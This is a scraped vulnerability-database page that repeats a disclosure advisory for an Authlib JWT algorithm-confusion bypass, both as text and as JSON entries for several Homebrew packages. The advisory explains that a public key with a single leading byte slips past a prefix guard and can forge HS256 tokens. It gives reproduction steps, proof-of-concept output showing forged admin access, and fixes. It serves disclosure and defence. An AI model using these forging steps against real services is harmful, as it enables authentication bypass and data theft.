BLOCKED:ValueError\n indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin\n [CONTROL C] JsonWebToken([\u0027RS256\u0027]).decode(forged HS256) -\u003e REJECTED:UnsupportedAlgorithmError\n\n### EC-P256/ES256\n identical results for all seven rows\n\nSame five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.\n```\n\n### Steps to reproduce\n\n1. `pip install authlib==1.8.0 cryptography flask requests`\n2. Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline\n (or indent it, or prepend a BOM or a comment line).\n3. Confirm `authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYS` does not match those bytes with\n `startswith`, while `cryptography.hazmat.primitives.serialization.load_pem_public_key` loads them.\n4. `from authlib.jose import jwt` then\n `tok = jwt.encode({\"alg\":\"HS256\"}, {\"sub\":\"attacker\",\"role\":\"admin\"}, mutated_pem)`\n5. `jwt.decode(tok, mutated_pem)` \u2014 verification succeeds and the claims are returned.\n\n## Impact\n\nCryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm\nconfusion). An unauthenticated attacker who knows only the issuer\u0027s public verification key \u2014 public by\ndefinition, normally served at `/.well-known/jwks.json` or in IdP metadata \u2014 forges tokens with\narbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP\n200 and the application\u0027s admin secrets for `sub=attacker`.\n\nAuthlib had **103,356,930** PyPI downloads in the last month (pypistats `/api/packages/authlib/recent`,\nread 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented\nfootgun it backstops.\n\nTwo notes for triage, in the interest of completeness:\n\n* `authlib.jose` emits `AuthlibDeprecationWarning` (\"please use joserfc instead. It will be compatible\n before version 2.0.0\"). It is deprecated but still shipped, still documented in `docs/jose/jwt.rst`,\n and still carries the download volume above.\n* **joserfc is not affected by this mechanism.** 1.7.5 was checked: keys carry an explicit `kty` in the\n data model, so `jwt.decode` with an `RSAKey`/`ECKey` and `alg=HS256` raises `InvalidKeyTypeError` for\n every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what\n makes the class unrepresentable there.\n\n## Suggested remediation\n\nEither of these closes the class rather than one more byte form:\n\n1. Decide key family by **type, not by bytes**. Attempt `load_pem_public_key` /\n `load_pem_x509_certificate` / `load_ssh_public_key` / `load_der_public_key` on the candidate and\n reject it as an `oct` key if any of them succeeds. This is the approach that makes joserfc immune and\n it cannot drift out of step with the loader, because it *is* the loader.\n2. If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check\n (`any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)`) and add the `-----BEGIN CERTIFICATE-----` and\n DER `SubjectPublicKeyInfo` cases. This is strictly weaker than (1): the recogniser can drift again\n the next time `cryptography` becomes more tolerant.\n\nSeparately, and independent of this report: giving `JsonWebToken.decode` an `algorithms=` parameter\nwould let callers of the documented module-level object apply the mitigation the docs recommend without\nconstructing a second `JsonWebToken`.\n\n## Credit\n\nFound by zer0d4y5. Happy to test a patch branch before release.",
"id": "BREW-fastmcp-CVE-2026-114615",
"modified": "2026-10-29T22:09:40Z",
"published": "2026-10-29T22:09:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114615"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/pull/945"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/authlib"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys",
"upstream": [
"GHSA-7vr2-2fgp-9w7p",
"CVE-2026-114615"
]
}
BREW-KASKADE-CVE-2026-114615 (GHSA-7VR2-2FGP-9W7P)
Vulnerability from osv_homebrew – Published: 2026-10-29 22:17 – Updated: 2026-10-29 22:17 – Source websiteSummary
OctKey.import_key() carries the only guard that stops an asymmetric public key from being used as an
HMAC secret in authlib.jose. That guard is raw_key.startswith(POSSIBLE_UNSAFE_KEYS) — anchored at
byte 0 — while the loader that consumes the identical bytes on the asymmetric path
(cryptography.hazmat.primitives.serialization.load_pem_public_key / load_pem_x509_certificate)
skips anything before the -----BEGIN line. A PEM public key or X.509 certificate carrying one
leading byte — a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is
therefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the
issuer's public key then mints an HS256 token with arbitrary claims that jwt.decode() accepts as
authentic.
This is an incomplete fix of CVE-2024-37568 / GHSA-5357-c2jx-v7qh. That advisory's fix is exactly
this guard (git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py returns a single
commit, 3bea812 "fix: prevent OctKey to import ssh/rsa/pem keys", referencing issue #654), and the
original attack works again unchanged whenever the stored PEM does not start at offset 0.
Reproduced end-to-end on 1.8.0, the newest release (published 2026-08-30), and on origin/main
(c529a61), with cryptography 50.0.2.
Preconditions
Both are deployment properties; neither is attacker-controlled at request time, and the attacker needs no secret and no user interaction.
- The relying party uses the documented module-level
jwtobject.from authlib.jose import jwtis built atauthlib/jose/__init__.py:55-72with the full list["HS256","HS384","HS512","RS256",...,"EdDSA"], andJsonWebToken.decode(authlib/jose/rfc7519/jwt.py:80) exposes noalgorithmsparameter, so a caller of the documented object has no way to narrow it. This is the first code sample indocs/jose/jwt.rst:21-31.
This hazard is already documented: docs/jose/jwt.rst:73-79 says
"This decoding method is insecure. By default jwt.decode parses the alg header. This allows
symmetric macs and asymmetric signatures.", and docs/jose/jwt.rst:94-98 says "You should never
combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." The point of this report is
not that the mixed list exists — it is that the oct_key.py:81 backstop shipped for precisely
that documented hazard does not hold.
- The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with
-----BEGIN. Each of the following forms was confirmed to forge, and each also still verifies a genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken: - one leading newline — what a triple-quoted Python literal produces
- one leading space
- four-space indentation — an indented YAML/JSON/TOML config block
- a UTF-8 BOM — a Windows-editor artifact
- a leading comment line
- all of the above applied to an X.509
CERTIFICATEPEM instead of aPUBLIC KEYPEM
A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric verification through this path, so I exclude it as a non-deployable configuration and mention it only as further evidence of the recogniser/loader gap.
Details
authlib/jose/rfc7518/oct_key.py:10-17
POSSIBLE_UNSAFE_KEYS = (
b"-----BEGIN ",
b"---- BEGIN ",
b"ssh-rsa ",
b"ssh-dss ",
b"ssh-ed25519 ",
b"ecdsa-sha2-",
)
authlib/jose/rfc7518/oct_key.py:78-84
raw_key = to_bytes(raw)
# security check
if raw_key.startswith(POSSIBLE_UNSAFE_KEYS):
raise ValueError("This key may not be safe to import")
key = cls(raw_key=raw_key, options=options)
bytes.startswith is anchored. The loader on the asymmetric path is not:
authlib/jose/rfc7517/_cryptography_key.py:22-29 calls load_pem_public_key /
load_pem_x509_certificate, both of which scan forward for the armour header. So the set of byte
strings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference
is exploitable.
Reach, for a caller of the documented object:
authlib/jose/rfc7518/jws_algs.py:59—HMACAlgorithm.prepare_key(raw_data)returnsOctKey.import_key(raw_data); this is the whole of the HMAC key handling.authlib/jose/rfc7519/jwt.py:80—JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None); the algorithm comes from the token header and is checked only against the instance's list.authlib/jose/__init__.py:55-72— that list contains both HS* and RS*/ES*/PS*/EdDSA.
So oct_key.py:81 is the only thing between a mixed allow-list and using the public key as an HMAC
secret, and it is bypassed by a single leading byte.
PoC
poc-authlib-e2e-http.py stands up a Flask API whose only authentication is the documented
jwt.decode(token, PUBLIC_KEY), where PUBLIC_KEY is the issuer's RSA public key embedded as a
triple-quoted Python literal (hence one leading newline). The attacker is given only that public
key.
authlib=1.8.0 cryptography=50.0.2 flask=3.1.3
guard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)
call = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]
algs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])
[baseline 1] genuine RS256 token, role=user -> (403, '{"error":"not admin","sub":"alice"}')
[baseline 2] genuine RS256 token, role=admin -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"root"}')
[CONTROL 1 ] payload tampered, RS256 sig kept -> (401, '{"error":"BadSignatureError: bad_signature: "}')
[CONTROL 2 ] HS256 forged with CANONICAL pubkey -> BLOCKED at key import: ValueError: This key may not be safe to import
[CONTROL 3 ] JsonWebToken(['RS256']) vs forged token -> REJECTED: UnsupportedAlgorithmError
ATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.
forged token header: {'alg': 'HS256', 'typ': 'JWT'}
[ATTACK ] HS256 forged with the PUBLIC key -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}')
The three controls establish that the guard does work on a canonical PEM (so the leading byte is load-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an effective mitigation.
Per-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds on the exact same bytes:
### RSA-2048/RS256
canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError
indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin
[CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError
### EC-P256/ES256
identical results for all seven rows
Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.
Steps to reproduce
pip install authlib==1.8.0 cryptography flask requests- Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline (or indent it, or prepend a BOM or a comment line).
- Confirm
authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYSdoes not match those bytes withstartswith, whilecryptography.hazmat.primitives.serialization.load_pem_public_keyloads them. from authlib.jose import jwtthentok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)jwt.decode(tok, mutated_pem)— verification succeeds and the claims are returned.
Impact
Cryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm
confusion). An unauthenticated attacker who knows only the issuer's public verification key — public by
definition, normally served at /.well-known/jwks.json or in IdP metadata — forges tokens with
arbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP
200 and the application's admin secrets for sub=attacker.
Authlib had 103,356,930 PyPI downloads in the last month (pypistats /api/packages/authlib/recent,
read 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented
footgun it backstops.
Two notes for triage, in the interest of completeness:
authlib.joseemitsAuthlibDeprecationWarning("please use joserfc instead. It will be compatible before version 2.0.0"). It is deprecated but still shipped, still documented indocs/jose/jwt.rst, and still carries the download volume above.- joserfc is not affected by this mechanism. 1.7.5 was checked: keys carry an explicit
ktyin the data model, sojwt.decodewith anRSAKey/ECKeyandalg=HS256raisesInvalidKeyTypeErrorfor every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what makes the class unrepresentable there.
Suggested remediation
Either of these closes the class rather than one more byte form:
- Decide key family by type, not by bytes. Attempt
load_pem_public_key/load_pem_x509_certificate/load_ssh_public_key/load_der_public_keyon the candidate and reject it as anoctkey if any of them succeeds. This is the approach that makes joserfc immune and it cannot drift out of step with the loader, because it is the loader. - If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check
(
any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)) and add the-----BEGIN CERTIFICATE-----and DERSubjectPublicKeyInfocases. This is strictly weaker than (1): the recogniser can drift again the next timecryptographybecomes more tolerant.
Separately, and independent of this report: giving JsonWebToken.decode an algorithms= parameter
would let callers of the documented module-level object apply the mitigation the docs recommend without
constructing a second JsonWebToken.
Credit
Found by zer0d4y5. Happy to test a patch branch before release.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "authlib",
"resource_purl": "pkg:pypi/authlib@1.7.2",
"upstream_fixed_in": "1.9.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "kaskade",
"purl": "pkg:brew/kaskade"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/authlib@1.7.2",
"name": "authlib",
"resource": "authlib",
"strategy": "registry",
"subject_version": "1.7.2"
}
]
},
"details": "## Summary\n\n`OctKey.import_key()` carries the only guard that stops an asymmetric public key from being used as an\nHMAC secret in `authlib.jose`. That guard is `raw_key.startswith(POSSIBLE_UNSAFE_KEYS)` \u2014 anchored at\nbyte 0 \u2014 while the loader that consumes the identical bytes on the asymmetric path\n(`cryptography.hazmat.primitives.serialization.load_pem_public_key` / `load_pem_x509_certificate`)\nskips anything before the `-----BEGIN` line. A PEM public key or X.509 certificate carrying **one\nleading byte** \u2014 a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line \u2014 is\ntherefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the\nissuer\u0027s public key then mints an `HS256` token with arbitrary claims that `jwt.decode()` accepts as\nauthentic.\n\nThis is an incomplete fix of **CVE-2024-37568 / GHSA-5357-c2jx-v7qh**. That advisory\u0027s fix is exactly\nthis guard (`git log -S \u0027POSSIBLE_UNSAFE_KEYS\u0027 -- authlib/jose/rfc7518/oct_key.py` returns a single\ncommit, `3bea812` \"fix: prevent OctKey to import ssh/rsa/pem keys\", referencing issue #654), and the\noriginal attack works again unchanged whenever the stored PEM does not start at offset 0.\n\nReproduced end-to-end on **1.8.0**, the newest release (published 2026-08-30), and on `origin/main`\n(`c529a61`), with `cryptography` 50.0.2.\n\n## Preconditions\n\nBoth are deployment properties; neither is attacker-controlled at request time, and the attacker needs\nno secret and no user interaction.\n\n1. **The relying party uses the documented module-level `jwt` object.** `from authlib.jose import jwt`\n is built at `authlib/jose/__init__.py:55-72` with the full list\n `[\"HS256\",\"HS384\",\"HS512\",\"RS256\",...,\"EdDSA\"]`, and `JsonWebToken.decode`\n (`authlib/jose/rfc7519/jwt.py:80`) exposes **no `algorithms` parameter**, so a caller of the\n documented object has no way to narrow it. This is the first code sample in\n `docs/jose/jwt.rst:21-31`.\n\n This hazard is already documented: `docs/jose/jwt.rst:73-79` says\n \"This decoding method is insecure. By default `jwt.decode` parses the alg header. This allows\n symmetric macs and asymmetric signatures.\", and `docs/jose/jwt.rst:94-98` says \"You should never\n combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes.\" The point of this report is\n **not** that the mixed list exists \u2014 it is that the `oct_key.py:81` backstop shipped for precisely\n that documented hazard does not hold.\n\n2. **The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with\n `-----BEGIN `.** Each of the following forms was confirmed to forge, and each also still verifies a\n genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken:\n * one leading newline \u2014 what a triple-quoted Python literal produces\n * one leading space\n * four-space indentation \u2014 an indented YAML/JSON/TOML config block\n * a UTF-8 BOM \u2014 a Windows-editor artifact\n * a leading comment line\n * all of the above applied to an X.509 `CERTIFICATE` PEM instead of a `PUBLIC KEY` PEM\n\n A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric\n verification through this path, so I exclude it as a non-deployable configuration and mention it\n only as further evidence of the recogniser/loader gap.\n\n## Details\n\n`authlib/jose/rfc7518/oct_key.py:10-17`\n\n```python\nPOSSIBLE_UNSAFE_KEYS = (\n b\"-----BEGIN \",\n b\"---- BEGIN \",\n b\"ssh-rsa \",\n b\"ssh-dss \",\n b\"ssh-ed25519 \",\n b\"ecdsa-sha2-\",\n)\n```\n\n`authlib/jose/rfc7518/oct_key.py:78-84`\n\n```python\nraw_key = to_bytes(raw)\n\n# security check\nif raw_key.startswith(POSSIBLE_UNSAFE_KEYS):\n raise ValueError(\"This key may not be safe to import\")\n\nkey = cls(raw_key=raw_key, options=options)\n```\n\n`bytes.startswith` is anchored. The loader on the asymmetric path is not:\n`authlib/jose/rfc7517/_cryptography_key.py:22-29` calls `load_pem_public_key` /\n`load_pem_x509_certificate`, both of which scan forward for the armour header. So the set of byte\nstrings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference\nis exploitable.\n\nReach, for a caller of the documented object:\n\n* `authlib/jose/rfc7518/jws_algs.py:59` \u2014 `HMACAlgorithm.prepare_key(raw_data)` returns\n `OctKey.import_key(raw_data)`; this is the whole of the HMAC key handling.\n* `authlib/jose/rfc7519/jwt.py:80` \u2014 `JsonWebToken.decode(self, s, key, claims_cls=None,\n claims_options=None, claims_params=None)`; the algorithm comes from the token header and is checked\n only against the instance\u0027s list.\n* `authlib/jose/__init__.py:55-72` \u2014 that list contains both HS\\* and RS\\*/ES\\*/PS\\*/EdDSA.\n\nSo `oct_key.py:81` is the only thing between a mixed allow-list and using the public key as an HMAC\nsecret, and it is bypassed by a single leading byte.\n\n## PoC\n\n`poc-authlib-e2e-http.py` stands up a Flask API whose only authentication is the documented\n`jwt.decode(token, PUBLIC_KEY)`, where `PUBLIC_KEY` is the issuer\u0027s RSA public key embedded as a\ntriple-quoted Python literal (hence one leading newline). The attacker is given **only** that public\nkey.\n\n```\nauthlib=1.8.0 cryptography=50.0.2 flask=3.1.3\nguard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)\ncall = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]\nalgs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])\n\n[baseline 1] genuine RS256 token, role=user -\u003e (403, \u0027{\"error\":\"not admin\",\"sub\":\"alice\"}\u0027)\n[baseline 2] genuine RS256 token, role=admin -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"root\"}\u0027)\n[CONTROL 1 ] payload tampered, RS256 sig kept -\u003e (401, \u0027{\"error\":\"BadSignatureError: bad_signature: \"}\u0027)\n[CONTROL 2 ] HS256 forged with CANONICAL pubkey -\u003e BLOCKED at key import: ValueError: This key may not be safe to import\n[CONTROL 3 ] JsonWebToken([\u0027RS256\u0027]) vs forged token -\u003e REJECTED: UnsupportedAlgorithmError\n\nATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.\nforged token header: {\u0027alg\u0027: \u0027HS256\u0027, \u0027typ\u0027: \u0027JWT\u0027}\n[ATTACK ] HS256 forged with the PUBLIC key -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"attacker\"}\u0027)\n```\n\nThe three controls establish that the guard does work on a canonical PEM (so the leading byte is\nload-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an\neffective mitigation.\n\nPer-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds\non the exact same bytes:\n\n```\n### RSA-2048/RS256\n canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError\n indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin\n [CONTROL C] JsonWebToken([\u0027RS256\u0027]).decode(forged HS256) -\u003e REJECTED:UnsupportedAlgorithmError\n\n### EC-P256/ES256\n identical results for all seven rows\n\nSame five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.\n```\n\n### Steps to reproduce\n\n1. `pip install authlib==1.8.0 cryptography flask requests`\n2. Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline\n (or indent it, or prepend a BOM or a comment line).\n3. Confirm `authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYS` does not match those bytes with\n `startswith`, while `cryptography.hazmat.primitives.serialization.load_pem_public_key` loads them.\n4. `from authlib.jose import jwt` then\n `tok = jwt.encode({\"alg\":\"HS256\"}, {\"sub\":\"attacker\",\"role\":\"admin\"}, mutated_pem)`\n5. `jwt.decode(tok, mutated_pem)` \u2014 verification succeeds and the claims are returned.\n\n## Impact\n\nCryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm\nconfusion). An unauthenticated attacker who knows only the issuer\u0027s public verification key \u2014 public by\ndefinition, normally served at `/.well-known/jwks.json` or in IdP metadata \u2014 forges tokens with\narbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP\n200 and the application\u0027s admin secrets for `sub=attacker`.\n\nAuthlib had **103,356,930** PyPI downloads in the last month (pypistats `/api/packages/authlib/recent`,\nread 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented\nfootgun it backstops.\n\nTwo notes for triage, in the interest of completeness:\n\n* `authlib.jose` emits `AuthlibDeprecationWarning` (\"please use joserfc instead. It will be compatible\n before version 2.0.0\"). It is deprecated but still shipped, still documented in `docs/jose/jwt.rst`,\n and still carries the download volume above.\n* **joserfc is not affected by this mechanism.** 1.7.5 was checked: keys carry an explicit `kty` in the\n data model, so `jwt.decode` with an `RSAKey`/`ECKey` and `alg=HS256` raises `InvalidKeyTypeError` for\n every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what\n makes the class unrepresentable there.\n\n## Suggested remediation\n\nEither of these closes the class rather than one more byte form:\n\n1. Decide key family by **type, not by bytes**. Attempt `load_pem_public_key` /\n `load_pem_x509_certificate` / `load_ssh_public_key` / `load_der_public_key` on the candidate and\n reject it as an `oct` key if any of them succeeds. This is the approach that makes joserfc immune and\n it cannot drift out of step with the loader, because it *is* the loader.\n2. If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check\n (`any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)`) and add the `-----BEGIN CERTIFICATE-----` and\n DER `SubjectPublicKeyInfo` cases. This is strictly weaker than (1): the recogniser can drift again\n the next time `cryptography` becomes more tolerant.\n\nSeparately, and independent of this report: giving `JsonWebToken.decode` an `algorithms=` parameter\nwould let callers of the documented module-level object apply the mitigation the docs recommend without\nconstructing a second `JsonWebToken`.\n\n## Credit\n\nFound by zer0d4y5. Happy to test a patch branch before release.",
"id": "BREW-kaskade-CVE-2026-114615",
"modified": "2026-10-29T22:17:22Z",
"published": "2026-10-29T22:17:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114615"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/pull/945"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/authlib"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys",
"upstream": [
"GHSA-7vr2-2fgp-9w7p",
"CVE-2026-114615"
]
}
BREW-KIMI-CLI-CVE-2026-114615 (GHSA-7VR2-2FGP-9W7P)
Vulnerability from osv_homebrew – Published: 2026-10-29 23:30 – Updated: 2026-10-29 23:30 – Source websiteSummary
OctKey.import_key() carries the only guard that stops an asymmetric public key from being used as an
HMAC secret in authlib.jose. That guard is raw_key.startswith(POSSIBLE_UNSAFE_KEYS) — anchored at
byte 0 — while the loader that consumes the identical bytes on the asymmetric path
(cryptography.hazmat.primitives.serialization.load_pem_public_key / load_pem_x509_certificate)
skips anything before the -----BEGIN line. A PEM public key or X.509 certificate carrying one
leading byte — a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is
therefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the
issuer's public key then mints an HS256 token with arbitrary claims that jwt.decode() accepts as
authentic.
This is an incomplete fix of CVE-2024-37568 / GHSA-5357-c2jx-v7qh. That advisory's fix is exactly
this guard (git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py returns a single
commit, 3bea812 "fix: prevent OctKey to import ssh/rsa/pem keys", referencing issue #654), and the
original attack works again unchanged whenever the stored PEM does not start at offset 0.
Reproduced end-to-end on 1.8.0, the newest release (published 2026-08-30), and on origin/main
(c529a61), with cryptography 50.0.2.
Preconditions
Both are deployment properties; neither is attacker-controlled at request time, and the attacker needs no secret and no user interaction.
- The relying party uses the documented module-level
jwtobject.from authlib.jose import jwtis built atauthlib/jose/__init__.py:55-72with the full list["HS256","HS384","HS512","RS256",...,"EdDSA"], andJsonWebToken.decode(authlib/jose/rfc7519/jwt.py:80) exposes noalgorithmsparameter, so a caller of the documented object has no way to narrow it. This is the first code sample indocs/jose/jwt.rst:21-31.
This hazard is already documented: docs/jose/jwt.rst:73-79 says
"This decoding method is insecure. By default jwt.decode parses the alg header. This allows
symmetric macs and asymmetric signatures.", and docs/jose/jwt.rst:94-98 says "You should never
combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." The point of this report is
not that the mixed list exists — it is that the oct_key.py:81 backstop shipped for precisely
that documented hazard does not hold.
- The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with
-----BEGIN. Each of the following forms was confirmed to forge, and each also still verifies a genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken: - one leading newline — what a triple-quoted Python literal produces
- one leading space
- four-space indentation — an indented YAML/JSON/TOML config block
- a UTF-8 BOM — a Windows-editor artifact
- a leading comment line
- all of the above applied to an X.509
CERTIFICATEPEM instead of aPUBLIC KEYPEM
A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric verification through this path, so I exclude it as a non-deployable configuration and mention it only as further evidence of the recogniser/loader gap.
Details
authlib/jose/rfc7518/oct_key.py:10-17
POSSIBLE_UNSAFE_KEYS = (
b"-----BEGIN ",
b"---- BEGIN ",
b"ssh-rsa ",
b"ssh-dss ",
b"ssh-ed25519 ",
b"ecdsa-sha2-",
)
authlib/jose/rfc7518/oct_key.py:78-84
raw_key = to_bytes(raw)
# security check
if raw_key.startswith(POSSIBLE_UNSAFE_KEYS):
raise ValueError("This key may not be safe to import")
key = cls(raw_key=raw_key, options=options)
bytes.startswith is anchored. The loader on the asymmetric path is not:
authlib/jose/rfc7517/_cryptography_key.py:22-29 calls load_pem_public_key /
load_pem_x509_certificate, both of which scan forward for the armour header. So the set of byte
strings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference
is exploitable.
Reach, for a caller of the documented object:
authlib/jose/rfc7518/jws_algs.py:59—HMACAlgorithm.prepare_key(raw_data)returnsOctKey.import_key(raw_data); this is the whole of the HMAC key handling.authlib/jose/rfc7519/jwt.py:80—JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None); the algorithm comes from the token header and is checked only against the instance's list.authlib/jose/__init__.py:55-72— that list contains both HS* and RS*/ES*/PS*/EdDSA.
So oct_key.py:81 is the only thing between a mixed allow-list and using the public key as an HMAC
